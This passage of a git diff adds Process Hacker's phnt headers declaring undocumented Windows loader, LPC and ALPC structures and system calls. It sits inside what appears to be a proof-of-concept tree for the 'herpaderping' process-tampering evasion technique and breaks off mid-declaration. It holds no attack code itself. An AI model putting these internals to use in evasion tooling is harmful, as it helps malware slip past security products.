+{ + ULONG_PTR Map[2]; +} PS_MITIGATION_AUDIT_OPTIONS_MAP, *PPS_MITIGATION_AUDIT_OPTIONS_MAP; + +// private +typedef struct _PS_SYSTEM_DLL_INIT_BLOCK +{ + ULONG Size; + ULONG_PTR SystemDllWowRelocation; + ULONG_PTR SystemDllNativeRelocation; + ULONG_PTR Wow64SharedInformation[16]; + ULONG RngData; + union + { + ULONG Flags; + struct + { + ULONG CfgOverride : 1; + ULONG Reserved : 31; + }; + }; + PS_MITIGATION_OPTIONS_MAP MitigationOptionsMap; + ULONG_PTR CfgBitMap; + ULONG_PTR CfgBitMapSize; + ULONG_PTR Wow64CfgBitMap; + ULONG_PTR Wow64CfgBitMapSize; + PS_MITIGATION_AUDIT_OPTIONS_MAP MitigationAuditOptionsMap; // REDSTONE3 +} PS_SYSTEM_DLL_INIT_BLOCK, *PPS_SYSTEM_DLL_INIT_BLOCK; + +#if (PHNT_VERSION >= PHNT_THRESHOLD) +// rev +NTSYSAPI +PPS_SYSTEM_DLL_INIT_BLOCK +NTAPI +LdrSystemDllInitBlock( + VOID + ); +#endif + +// Load as data table + +#if (PHNT_VERSION >= PHNT_VISTA) + +// private +NTSYSAPI +NTSTATUS +NTAPI +LdrAddLoadAsDataTable( + _In_ PVOID Module, + _In_ PWSTR FilePath, + _In_ SIZE_T Size, + _In_ HANDLE Handle + ); + +// private +NTSYSAPI +NTSTATUS +NTAPI +LdrRemoveLoadAsDataTable( + _In_ PVOID InitModule, + _Out_opt_ PVOID *BaseModule, + _Out_opt_ PSIZE_T Size, + _In_ ULONG Flags + ); + +// private +NTSYSAPI +NTSTATUS +NTAPI +LdrGetFileNameFromLoadAsDataTable( + _In_ PVOID Module, + _Out_ PVOID *pFileNamePrt + ); + +#endif + +NTSYSAPI +NTSTATUS +NTAPI +LdrDisableThreadCalloutsForDll( + _In_ PVOID DllImageBase + ); + +// Resources + +NTSYSAPI +NTSTATUS +NTAPI +LdrAccessResource( + _In_ PVOID DllHandle, + _In_ PIMAGE_RESOURCE_DATA_ENTRY ResourceDataEntry, + _Out_opt_ PVOID *ResourceBuffer, + _Out_opt_ ULONG *ResourceLength + ); + +typedef struct _LDR_RESOURCE_INFO +{ + ULONG_PTR Type; + ULONG_PTR Name; + ULONG_PTR Language; +} LDR_RESOURCE_INFO, *PLDR_RESOURCE_INFO; + +#define RESOURCE_TYPE_LEVEL 0 +#define RESOURCE_NAME_LEVEL 1 +#define RESOURCE_LANGUAGE_LEVEL 2 +#define RESOURCE_DATA_LEVEL 3 + +NTSYSAPI +NTSTATUS +NTAPI +LdrFindResource_U( + _In_ PVOID DllHandle, + _In_ PLDR_RESOURCE_INFO ResourceInfo, + _In_ ULONG Level, + _Out_ PIMAGE_RESOURCE_DATA_ENTRY *ResourceDataEntry + ); + +NTSYSAPI +NTSTATUS +NTAPI +LdrFindResourceDirectory_U( + _In_ PVOID DllHandle, + _In_ PLDR_RESOURCE_INFO ResourceInfo, + _In_ ULONG Level, + _Out_ PIMAGE_RESOURCE_DIRECTORY *ResourceDirectory + ); + +// private +typedef struct _LDR_ENUM_RESOURCE_ENTRY +{ + union + { + ULONG_PTR NameOrId; + PIMAGE_RESOURCE_DIRECTORY_STRING Name; + struct + { + USHORT Id; + USHORT NameIsPresent; + }; + } Path[3]; + PVOID Data; + ULONG Size; + ULONG Reserved; +} LDR_ENUM_RESOURCE_ENTRY, *PLDR_ENUM_RESOURCE_ENTRY; + +#define NAME_FROM_RESOURCE_ENTRY(RootDirectory, Entry) \ + ((Entry)->NameIsString ? (ULONG_PTR)PTR_ADD_OFFSET((RootDirectory), (Entry)->NameOffset) : (Entry)->Id) + +NTSYSAPI +NTSTATUS +NTAPI +LdrEnumResources( + _In_ PVOID DllHandle, + _In_ PLDR_RESOURCE_INFO ResourceInfo, + _In_ ULONG Level, + _Inout_ ULONG *ResourceCount, + _Out_writes_to_opt_(*ResourceCount, *ResourceCount) PLDR_ENUM_RESOURCE_ENTRY Resources + ); + +NTSYSAPI +NTSTATUS +NTAPI +LdrFindEntryForAddress( + _In_ PVOID DllHandle, + _Out_ PLDR_DATA_TABLE_ENTRY *Entry + ); + +#endif // (PHNT_MODE != PHNT_MODE_KERNEL) + +// Module information + +typedef struct _RTL_PROCESS_MODULE_INFORMATION +{ + HANDLE Section; + PVOID MappedBase; + PVOID ImageBase; + ULONG ImageSize; + ULONG Flags; + USHORT LoadOrderIndex; + USHORT InitOrderIndex; + USHORT LoadCount; + USHORT OffsetToFileName; + UCHAR FullPathName[256]; +} RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION; + +typedef struct _RTL_PROCESS_MODULES +{ + ULONG NumberOfModules; + RTL_PROCESS_MODULE_INFORMATION Modules[1]; +} RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES; + +// private +typedef struct _RTL_PROCESS_MODULE_INFORMATION_EX +{ + USHORT NextOffset; + RTL_PROCESS_MODULE_INFORMATION BaseInfo; + ULONG ImageChecksum; + ULONG TimeDateStamp; + PVOID DefaultBase; +} RTL_PROCESS_MODULE_INFORMATION_EX, *PRTL_PROCESS_MODULE_INFORMATION_EX; + +#if (PHNT_MODE != PHNT_MODE_KERNEL) + +NTSYSAPI +NTSTATUS +NTAPI +LdrQueryProcessModuleInformation( + _In_opt_ PRTL_PROCESS_MODULES ModuleInformation, + _In_opt_ ULONG Size, + _Out_ PULONG ReturnedSize + ); + +typedef VOID (NTAPI *PLDR_ENUM_CALLBACK)( + _In_ PLDR_DATA_TABLE_ENTRY ModuleInformation, + _In_ PVOID Parameter, + _Out_ BOOLEAN *Stop + ); + +NTSYSAPI +NTSTATUS +NTAPI +LdrEnumerateLoadedModules( + _In_ BOOLEAN ReservedFlag, + _In_ PLDR_ENUM_CALLBACK EnumProc, + _In_ PVOID Context + ); + +NTSYSAPI +NTSTATUS +NTAPI +LdrOpenImageFileOptionsKey( + _In_ PUNICODE_STRING SubKey, + _In_ BOOLEAN Wow64, + _Out_ PHANDLE NewKeyHandle + ); + +NTSYSAPI +NTSTATUS +NTAPI +LdrQueryImageFileKeyOption( + _In_ HANDLE KeyHandle, + _In_ PCWSTR ValueName, + _In_ ULONG Type, + _Out_ PVOID Buffer, + _In_ ULONG BufferSize, + _Out_opt_ PULONG ReturnedLength + ); + +NTSYSAPI +NTSTATUS +NTAPI +LdrQueryImageFileExecutionOptions( + _In_ PUNICODE_STRING SubKey, + _In_ PCWSTR ValueName, + _In_ ULONG ValueSize, + _Out_ PVOID Buffer, + _In_ ULONG BufferSize, + _Out_opt_ PULONG ReturnedLength + ); + +NTSYSAPI +NTSTATUS +NTAPI +LdrQueryImageFileExecutionOptionsEx( + _In_ PUNICODE_STRING SubKey, + _In_ PCWSTR ValueName, + _In_ ULONG Type, + _Out_ PVOID Buffer, + _In_ ULONG BufferSize, + _Out_opt_ PULONG ReturnedLength, + _In_ BOOLEAN Wow64 + ); + +// private +typedef struct _DELAYLOAD_PROC_DESCRIPTOR +{ + ULONG ImportDescribedByName; + union + { + PCSTR Name; + ULONG Ordinal; + } Description; +} DELAYLOAD_PROC_DESCRIPTOR, *PDELAYLOAD_PROC_DESCRIPTOR; + +// private +typedef struct _DELAYLOAD_INFO +{ + ULONG Size; + PCIMAGE_DELAYLOAD_DESCRIPTOR DelayloadDescriptor; + PIMAGE_THUNK_DATA ThunkAddress; + PCSTR TargetDllName; + DELAYLOAD_PROC_DESCRIPTOR TargetApiDescriptor; + PVOID TargetModuleBase; + PVOID Unused; + ULONG LastError; +} DELAYLOAD_INFO, *PDELAYLOAD_INFO; + +// private +typedef PVOID (NTAPI *PDELAYLOAD_FAILURE_DLL_CALLBACK)( + _In_ ULONG NotificationReason, + _In_ PDELAYLOAD_INFO DelayloadInfo + ); + +// rev +typedef PVOID (NTAPI *PDELAYLOAD_FAILURE_SYSTEM_ROUTINE)( + _In_ PCSTR DllName, + _In_ PCSTR ProcName + ); + +// rev +NTSYSAPI +PVOID +NTAPI +LdrResolveDelayLoadedAPI( + _In_ PVOID ParentModuleBase, + _In_ PCIMAGE_DELAYLOAD_DESCRIPTOR DelayloadDescriptor, + _In_opt_ PDELAYLOAD_FAILURE_DLL_CALLBACK FailureDllHook, + _In_opt_ PDELAYLOAD_FAILURE_SYSTEM_ROUTINE FailureSystemHook, // kernel32.DelayLoadFailureHook + _Out_ PIMAGE_THUNK_DATA ThunkAddress, + _Reserved_ ULONG Flags + ); + +// rev +NTSYSAPI +NTSTATUS +NTAPI +LdrResolveDelayLoadsFromDll( + _In_ PVOID ParentBase, + _In_ PCSTR TargetDllName, + _Reserved_ ULONG Flags + ); + +// rev +NTSYSAPI +NTSTATUS +NTAPI +LdrSetDefaultDllDirectories( + _In_ ULONG DirectoryFlags + ); + +// rev +NTSYSAPI +NTSTATUS +NTAPI +LdrShutdownProcess( + VOID + ); + +// rev +NTSYSAPI +NTSTATUS +NTAPI +LdrShutdownThread( + VOID + ); + +// rev +NTSYSAPI +NTSTATUS +NTAPI +LdrSetImplicitPathOptions( + _In_ ULONG ImplicitPathOptions + ); + +// rev +NTSYSAPI +BOOLEAN +NTAPI +LdrControlFlowGuardEnforced( + VOID + ); + +#if (PHNT_VERSION >= PHNT_19H1) +// rev +NTSYSAPI +BOOLEAN +NTAPI +LdrIsModuleSxsRedirected( + _In_ PVOID DllHandle + ); +#endif + +#endif // (PHNT_MODE != PHNT_MODE_KERNEL) + +#endif diff --git a/Win32/Proof of Concepts/herpaderping/ext/submodules/phnt/ntlpcapi.h b/Win32/Proof of Concepts/herpaderping/ext/submodules/phnt/ntlpcapi.h new file mode 100644 index 00000000..a9d7421d --- /dev/null +++ b/Win32/Proof of Concepts/herpaderping/ext/submodules/phnt/ntlpcapi.h @@ -0,0 +1,1010 @@ +/* + * This file is part of the Process Hacker project - https://processhacker.sourceforge.io/ + * + * You can redistribute this file and/or modify it under the terms of the + * Attribution 4.0 International (CC BY 4.0) license. + * + * You must give appropriate credit, provide a link to the license, and + * indicate if changes were made. You may do so in any reasonable manner, but + * not in any way that suggests the licensor endorses you or your use. + */ + +#ifndef _NTLPCAPI_H +#define _NTLPCAPI_H + +// Local Inter-process Communication + +#define PORT_CONNECT 0x0001 +#define PORT_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | 0x1) + +typedef struct _PORT_MESSAGE +{ + union + { + struct + { + CSHORT DataLength; + CSHORT TotalLength; + } s1; + ULONG Length; + } u1; + union + { + struct + { + CSHORT Type; + CSHORT DataInfoOffset; + } s2; + ULONG ZeroInit; + } u2; + union + { + CLIENT_ID ClientId; + double DoNotUseThisField; + }; + ULONG MessageId; + union + { + SIZE_T ClientViewSize; // only valid for LPC_CONNECTION_REQUEST messages + ULONG CallbackId; // only valid for LPC_REQUEST messages + }; +} PORT_MESSAGE, *PPORT_MESSAGE; + +typedef struct _PORT_DATA_ENTRY +{ + PVOID Base; + ULONG Size; +} PORT_DATA_ENTRY, *PPORT_DATA_ENTRY; + +typedef struct _PORT_DATA_INFORMATION +{ + ULONG CountDataEntries; + PORT_DATA_ENTRY DataEntries[1]; +} PORT_DATA_INFORMATION, *PPORT_DATA_INFORMATION; + +#define LPC_REQUEST 1 +#define LPC_REPLY 2 +#define LPC_DATAGRAM 3 +#define LPC_LOST_REPLY 4 +#define LPC_PORT_CLOSED 5 +#define LPC_CLIENT_DIED 6 +#define LPC_EXCEPTION 7 +#define LPC_DEBUG_EVENT 8 +#define LPC_ERROR_EVENT 9 +#define LPC_CONNECTION_REQUEST 10 + +#define LPC_KERNELMODE_MESSAGE (CSHORT)0x8000 +#define LPC_NO_IMPERSONATE (CSHORT)0x4000 + +#define PORT_VALID_OBJECT_ATTRIBUTES OBJ_CASE_INSENSITIVE + +#ifdef _WIN64 +#define PORT_MAXIMUM_MESSAGE_LENGTH 512 +#else +#define PORT_MAXIMUM_MESSAGE_LENGTH 256 +#endif + +#define LPC_MAX_CONNECTION_INFO_SIZE (16 * sizeof(ULONG_PTR)) + +#define PORT_TOTAL_MAXIMUM_MESSAGE_LENGTH \ + ((PORT_MAXIMUM_MESSAGE_LENGTH + sizeof(PORT_MESSAGE) + LPC_MAX_CONNECTION_INFO_SIZE + 0xf) & ~0xf) + +typedef struct _LPC_CLIENT_DIED_MSG +{ + PORT_MESSAGE PortMsg; + LARGE_INTEGER CreateTime; +} LPC_CLIENT_DIED_MSG, *PLPC_CLIENT_DIED_MSG; + +typedef struct _PORT_VIEW +{ + ULONG Length; + HANDLE SectionHandle; + ULONG SectionOffset; + SIZE_T ViewSize; + PVOID ViewBase; + PVOID ViewRemoteBase; +} PORT_VIEW, *PPORT_VIEW; + +typedef struct _REMOTE_PORT_VIEW +{ + ULONG Length; + SIZE_T ViewSize; + PVOID ViewBase; +} REMOTE_PORT_VIEW, *PREMOTE_PORT_VIEW; + +// WOW64 definitions + +// Except in a small number of special cases, WOW64 programs using the LPC APIs must use the 64-bit versions of the +// PORT_MESSAGE, PORT_VIEW and REMOTE_PORT_VIEW data structures. Note that we take a different approach than the +// official NT headers, which produce 64-bit versions in a 32-bit environment when USE_LPC6432 is defined. + +typedef struct _PORT_MESSAGE64 +{ + union + { + struct + { + CSHORT DataLength; + CSHORT TotalLength; + } s1; + ULONG Length; + } u1; + union + { + struct + { + CSHORT Type; + CSHORT DataInfoOffset; + } s2; + ULONG ZeroInit; + } u2; + union + { + CLIENT_ID64 ClientId; + double DoNotUseThisField; + }; + ULONG MessageId; + union + { + ULONGLONG ClientViewSize; // only valid for LPC_CONNECTION_REQUEST messages + ULONG CallbackId; // only valid for LPC_REQUEST messages + }; +} PORT_MESSAGE64, *PPORT_MESSAGE64; + +typedef struct _LPC_CLIENT_DIED_MSG64 +{ + PORT_MESSAGE64 PortMsg; + LARGE_INTEGER CreateTime; +} LPC_CLIENT_DIED_MSG64, *PLPC_CLIENT_DIED_MSG64; + +typedef struct _PORT_VIEW64 +{ + ULONG Length; + ULONGLONG SectionHandle; + ULONG SectionOffset; + ULONGLONG ViewSize; + ULONGLONG ViewBase; + ULONGLONG ViewRemoteBase; +} PORT_VIEW64, *PPORT_VIEW64; + +typedef struct _REMOTE_PORT_VIEW64 +{ + ULONG Length; + ULONGLONG ViewSize; + ULONGLONG ViewBase; +} REMOTE_PORT_VIEW64, *PREMOTE_PORT_VIEW64; + +// Port creation + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreatePort( + _Out_ PHANDLE PortHandle, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ ULONG MaxConnectionInfoLength, + _In_ ULONG MaxMessageLength, + _In_opt_ ULONG MaxPoolUsage + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateWaitablePort( + _Out_ PHANDLE PortHandle, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ ULONG MaxConnectionInfoLength, + _In_ ULONG MaxMessageLength, + _In_opt_ ULONG MaxPoolUsage + ); + +// Port connection (client) + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtConnectPort( + _Out_ PHANDLE PortHandle, + _In_ PUNICODE_STRING PortName, + _In_ PSECURITY_QUALITY_OF_SERVICE SecurityQos, + _Inout_opt_ PPORT_VIEW ClientView, + _Inout_opt_ PREMOTE_PORT_VIEW ServerView, + _Out_opt_ PULONG MaxMessageLength, + _Inout_updates_bytes_to_opt_(*ConnectionInformationLength, *ConnectionInformationLength) PVOID ConnectionInformation, + _Inout_opt_ PULONG ConnectionInformationLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtSecureConnectPort( + _Out_ PHANDLE PortHandle, + _In_ PUNICODE_STRING PortName, + _In_ PSECURITY_QUALITY_OF_SERVICE SecurityQos, + _Inout_opt_ PPORT_VIEW ClientView, + _In_opt_ PSID RequiredServerSid, + _Inout_opt_ PREMOTE_PORT_VIEW ServerView, + _Out_opt_ PULONG MaxMessageLength, + _Inout_updates_bytes_to_opt_(*ConnectionInformationLength, *ConnectionInformationLength) PVOID ConnectionInformation, + _Inout_opt_ PULONG ConnectionInformationLength + ); + +// Port connection (server) + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtListenPort( + _In_ HANDLE PortHandle, + _Out_ PPORT_MESSAGE ConnectionRequest + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtAcceptConnectPort( + _Out_ PHANDLE PortHandle, + _In_opt_ PVOID PortContext, + _In_ PPORT_MESSAGE ConnectionRequest, + _In_ BOOLEAN AcceptConnection, + _Inout_opt_ PPORT_VIEW ServerView, + _Out_opt_ PREMOTE_PORT_VIEW ClientView + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtCompleteConnectPort( + _In_ HANDLE PortHandle + ); + +// General + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtRequestPort( + _In_ HANDLE PortHandle, + _In_reads_bytes_(RequestMessage->u1.s1.TotalLength) PPORT_MESSAGE RequestMessage + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtRequestWaitReplyPort( + _In_ HANDLE PortHandle, + _In_reads_bytes_(RequestMessage->u1.s1.TotalLength) PPORT_MESSAGE RequestMessage, + _Out_ PPORT_MESSAGE ReplyMessage + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtReplyPort( + _In_ HANDLE PortHandle, + _In_reads_bytes_(ReplyMessage->u1.s1.TotalLength) PPORT_MESSAGE ReplyMessage + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtReplyWaitReplyPort( + _In_ HANDLE PortHandle, + _Inout_ PPORT_MESSAGE ReplyMessage + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtReplyWaitReceivePort( + _In_ HANDLE PortHandle, + _Out_opt_ PVOID *PortContext, + _In_reads_bytes_opt_(ReplyMessage->u1.s1.TotalLength) PPORT_MESSAGE ReplyMessage, + _Out_ PPORT_MESSAGE ReceiveMessage + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtReplyWaitReceivePortEx( + _In_ HANDLE PortHandle, + _Out_opt_ PVOID *PortContext, + _In_reads_bytes_opt_(ReplyMessage->u1.s1.TotalLength) PPORT_MESSAGE ReplyMessage, + _Out_ PPORT_MESSAGE ReceiveMessage, + _In_opt_ PLARGE_INTEGER Timeout + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtImpersonateClientOfPort( + _In_ HANDLE PortHandle, + _In_ PPORT_MESSAGE Message + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtReadRequestData( + _In_ HANDLE PortHandle, + _In_ PPORT_MESSAGE Message, + _In_ ULONG DataEntryIndex, + _Out_writes_bytes_to_(BufferSize, *NumberOfBytesRead) PVOID Buffer, + _In_ SIZE_T BufferSize, + _Out_opt_ PSIZE_T NumberOfBytesRead + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtWriteRequestData( + _In_ HANDLE PortHandle, + _In_ PPORT_MESSAGE Message, + _In_ ULONG DataEntryIndex, + _In_reads_bytes_(BufferSize) PVOID Buffer, + _In_ SIZE_T BufferSize, + _Out_opt_ PSIZE_T NumberOfBytesWritten + ); + +typedef enum _PORT_INFORMATION_CLASS +{ + PortBasicInformation, + PortDumpInformation +} PORT_INFORMATION_CLASS; + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryInformationPort( + _In_ HANDLE PortHandle, + _In_ PORT_INFORMATION_CLASS PortInformationClass, + _Out_writes_bytes_to_(Length, *ReturnLength) PVOID PortInformation, + _In_ ULONG Length, + _Out_opt_ PULONG ReturnLength + ); + +// Asynchronous Local Inter-process Communication + +// rev +typedef HANDLE ALPC_HANDLE, *PALPC_HANDLE; + +#define ALPC_PORFLG_ALLOW_LPC_REQUESTS 0x20000 // rev +#define ALPC_PORFLG_WAITABLE_PORT 0x40000 // dbg +#define ALPC_PORFLG_SYSTEM_PROCESS 0x100000 // dbg + +// symbols +typedef struct _ALPC_PORT_ATTRIBUTES +{ + ULONG Flags; + SECURITY_QUALITY_OF_SERVICE SecurityQos; + SIZE_T MaxMessageLength; + SIZE_T MemoryBandwidth; + SIZE_T MaxPoolUsage; + SIZE_T MaxSectionSize; + SIZE_T MaxViewSize; + SIZE_T MaxTotalSectionSize; + ULONG DupObjectTypes; +#ifdef _WIN64 + ULONG Reserved; +#endif +} ALPC_PORT_ATTRIBUTES, *PALPC_PORT_ATTRIBUTES; + +// begin_rev +#define ALPC_MESSAGE_SECURITY_ATTRIBUTE 0x80000000 +#define ALPC_MESSAGE_VIEW_ATTRIBUTE 0x40000000 +#define ALPC_MESSAGE_CONTEXT_ATTRIBUTE 0x20000000 +#define ALPC_MESSAGE_HANDLE_ATTRIBUTE 0x10000000 +// end_rev + +// symbols +typedef struct _ALPC_MESSAGE_ATTRIBUTES +{ + ULONG AllocatedAttributes; + ULONG ValidAttributes; +} ALPC_MESSAGE_ATTRIBUTES, *PALPC_MESSAGE_ATTRIBUTES; + +// symbols +typedef struct _ALPC_COMPLETION_LIST_STATE +{ + union + { + struct + { + ULONG64 Head : 24; + ULONG64 Tail : 24; + ULONG64 ActiveThreadCount : 16; + } s1; + ULONG64 Value; + } u1; +} ALPC_COMPLETION_LIST_STATE, *PALPC_COMPLETION_LIST_STATE; + +#define ALPC_COMPLETION_LIST_BUFFER_GRANULARITY_MASK 0x3f // dbg + +// symbols +typedef struct DECLSPEC_ALIGN(128) _ALPC_COMPLETION_LIST_HEADER +{ + ULONG64 StartMagic; + + ULONG TotalSize; + ULONG ListOffset; + ULONG ListSize; + ULONG BitmapOffset; + ULONG BitmapSize; + ULONG DataOffset; + ULONG DataSize; + ULONG AttributeFlags; + ULONG AttributeSize; + + DECLSPEC_ALIGN(128) ALPC_COMPLETION_LIST_STATE State; + ULONG LastMessageId; + ULONG LastCallbackId; + DECLSPEC_ALIGN(128) ULONG PostCount; + DECLSPEC_ALIGN(128) ULONG ReturnCount; + DECLSPEC_ALIGN(128) ULONG LogSequenceNumber; + DECLSPEC_ALIGN(128) RTL_SRWLOCK UserLock; + + ULONG64 EndMagic; +} ALPC_COMPLETION_LIST_HEADER, *PALPC_COMPLETION_LIST_HEADER; + +// private +typedef struct _ALPC_CONTEXT_ATTR +{ + PVOID PortContext; + PVOID MessageContext; + ULONG Sequence; + ULONG MessageId; + ULONG CallbackId; +} ALPC_CONTEXT_ATTR, *PALPC_CONTEXT_ATTR; + +// begin_rev +#define ALPC_HANDLEFLG_DUPLICATE_SAME_ACCESS 0x10000 +#define ALPC_HANDLEFLG_DUPLICATE_SAME_ATTRIBUTES 0x20000 +#define ALPC_HANDLEFLG_DUPLICATE_INHERIT 0x80000 +// end_rev + +// private +typedef struct _ALPC_HANDLE_ATTR32 +{ + ULONG Flags; + ULONG Reserved0; + ULONG SameAccess; + ULONG SameAttributes; + ULONG Indirect; + ULONG Inherit; + ULONG Reserved1; + ULONG Handle; + ULONG ObjectType; // ObjectTypeCode, not ObjectTypeIndex + ULONG DesiredAccess; + ULONG GrantedAccess; +} ALPC_HANDLE_ATTR32, *PALPC_HANDLE_ATTR32; + +// private +typedef struct _ALPC_HANDLE_ATTR +{ + ULONG Flags; + ULONG Reserved0; + ULONG SameAccess; + ULONG SameAttributes; + ULONG Indirect; + ULONG Inherit; + ULONG Reserved1; + HANDLE Handle; + PALPC_HANDLE_ATTR32 HandleAttrArray; + ULONG ObjectType; // ObjectTypeCode, not ObjectTypeIndex + ULONG HandleCount; + ACCESS_MASK DesiredAccess; + ACCESS_MASK GrantedAccess; +} ALPC_HANDLE_ATTR, *PALPC_HANDLE_ATTR; + +#define ALPC_SECFLG_CREATE_HANDLE 0x20000 // dbg +#define ALPC_SECFLG_NOSECTIONHANDLE 0x40000 +// private +typedef struct _ALPC_SECURITY_ATTR +{ + ULONG Flags; + PSECURITY_QUALITY_OF_SERVICE QoS; + ALPC_HANDLE ContextHandle; // dbg +} ALPC_SECURITY_ATTR, *PALPC_SECURITY_ATTR; + +// begin_rev +#define ALPC_VIEWFLG_NOT_SECURE 0x40000 +// end_rev + +// private +typedef struct _ALPC_DATA_VIEW_ATTR +{ + ULONG Flags; + ALPC_HANDLE SectionHandle; + PVOID ViewBase; // must be zero on input + SIZE_T ViewSize; +} ALPC_DATA_VIEW_ATTR, *PALPC_DATA_VIEW_ATTR; + +// private +typedef enum _ALPC_PORT_INFORMATION_CLASS +{ + AlpcBasicInformation, // q: out ALPC_BASIC_INFORMATION + AlpcPortInformation, // s: in ALPC_PORT_ATTRIBUTES + AlpcAssociateCompletionPortInformation, // s: in ALPC_PORT_ASSOCIATE_COMPLETION_PORT + AlpcConnectedSIDInformation, // q: in SID + AlpcServerInformation, // q: inout ALPC_SERVER_INFORMATION + AlpcMessageZoneInformation, // s: in ALPC_PORT_MESSAGE_ZONE_INFORMATION + AlpcRegisterCompletionListInformation, // s: in ALPC_PORT_COMPLETION_LIST_INFORMATION + AlpcUnregisterCompletionListInformation, // s: VOID + AlpcAdjustCompletionListConcurrencyCountInformation, // s: in ULONG + AlpcRegisterCallbackInformation, // kernel-mode only + AlpcCompletionListRundownInformation, // s: VOID + AlpcWaitForPortReferences +} ALPC_PORT_INFORMATION_CLASS; + +// private +typedef struct _ALPC_BASIC_INFORMATION +{ + ULONG Flags; + ULONG SequenceNo; + PVOID PortContext; +} ALPC_BASIC_INFORMATION, *PALPC_BASIC_INFORMATION; + +// private +typedef struct _ALPC_PORT_ASSOCIATE_COMPLETION_PORT +{ + PVOID CompletionKey; + HANDLE CompletionPort; +} ALPC_PORT_ASSOCIATE_COMPLETION_PORT, *PALPC_PORT_ASSOCIATE_COMPLETION_PORT; + +// private +typedef struct _ALPC_SERVER_INFORMATION +{ + union + { + struct + { + HANDLE ThreadHandle; + } In; + struct + { + BOOLEAN ThreadBlocked; + HANDLE ConnectedProcessId; + UNICODE_STRING ConnectionPortName; + } Out; + }; +} ALPC_SERVER_INFORMATION, *PALPC_SERVER_INFORMATION; + +// private +typedef struct _ALPC_PORT_MESSAGE_ZONE_INFORMATION +{ + PVOID Buffer; + ULONG Size; +} ALPC_PORT_MESSAGE_ZONE_INFORMATION, *PALPC_PORT_MESSAGE_ZONE_INFORMATION; + +// private +typedef struct _ALPC_PORT_COMPLETION_LIST_INFORMATION +{ + PVOID Buffer; // PALPC_COMPLETION_LIST_HEADER + ULONG Size; + ULONG ConcurrencyCount; + ULONG AttributeFlags; +} ALPC_PORT_COMPLETION_LIST_INFORMATION, *PALPC_PORT_COMPLETION_LIST_INFORMATION; + +// private +typedef enum _ALPC_MESSAGE_INFORMATION_CLASS +{ + AlpcMessageSidInformation, // q: out SID + AlpcMessageTokenModifiedIdInformation, // q: out LUID + AlpcMessageDirectStatusInformation, + AlpcMessageHandleInformation, // ALPC_MESSAGE_HANDLE_INFORMATION + MaxAlpcMessageInfoClass +} ALPC_MESSAGE_INFORMATION_CLASS, *PALPC_MESSAGE_INFORMATION_CLASS; + +typedef struct _ALPC_MESSAGE_HANDLE_INFORMATION +{ + ULONG Index; + ULONG Flags; + ULONG Handle; + ULONG ObjectType; + ACCESS_MASK GrantedAccess; +} ALPC_MESSAGE_HANDLE_INFORMATION, *PALPC_MESSAGE_HANDLE_INFORMATION; + +// begin_private + +#if (PHNT_VERSION >= PHNT_VISTA) + +// System calls + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtAlpcCreatePort( + _Out_ PHANDLE PortHandle, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ PALPC_PORT_ATTRIBUTES PortAttributes + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtAlpcDisconnectPort( + _In_ HANDLE PortHandle, + _In_ ULONG Flags + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtAlpcQueryInformation( + _In_opt_ HANDLE PortHandle, + _In_ ALPC_PORT_INFORMATION_CLASS PortInformationClass, + _Inout_updates_bytes_to_(Length, *ReturnLength) PVOID PortInformation, + _In_ ULONG Length, + _Out_opt_ PULONG ReturnLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtAlpcSetInformation( + _In_ HANDLE PortHandle, + _In_ ALPC_PORT_INFORMATION_CLASS PortInformationClass, + _In_reads_bytes_opt_(Length) PVOID PortInformation, + _In_ ULONG Length + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtAlpcCreatePortSection( + _In_ HANDLE PortHandle, + _In_ ULONG Flags, + _In_opt_ HANDLE SectionHandle, + _In_ SIZE_T SectionSize, + _Out_ PALPC_HANDLE AlpcSectionHandle, + _Out_ PSIZE_T ActualSectionSize + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtAlpcDeletePortSection( + _In_ HANDLE PortHandle, + _Reserved_ ULONG Flags, + _In_ ALPC_HANDLE SectionHandle + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtAlpcCreateResourceReserve( + _In_ HANDLE PortHandle, + _Reserved_ ULONG Flags, + _In_ SIZE_T MessageSize, + _Out_ PALPC_HANDLE ResourceId + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtAlpcDeleteResourceReserve( + _In_ HANDLE PortHandle, + _Reserved_ ULONG Flags, + _In_ ALPC_HANDLE ResourceId + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtAlpcCreateSectionView( + _In_ HANDLE PortHandle, + _Reserved_ ULONG Flags, + _Inout_ PALPC_DATA_VIEW_ATTR ViewAttributes + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtAlpcDeleteSectionView( + _In_ HANDLE PortHandle, + _Reserved_ ULONG Flags, + _In_ PVOID ViewBase + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtAlpcCreateSecurityContext( + _In_ HANDLE PortHandle, + _Reserved_ ULONG Flags, + _Inout_ PALPC_SECURITY_ATTR 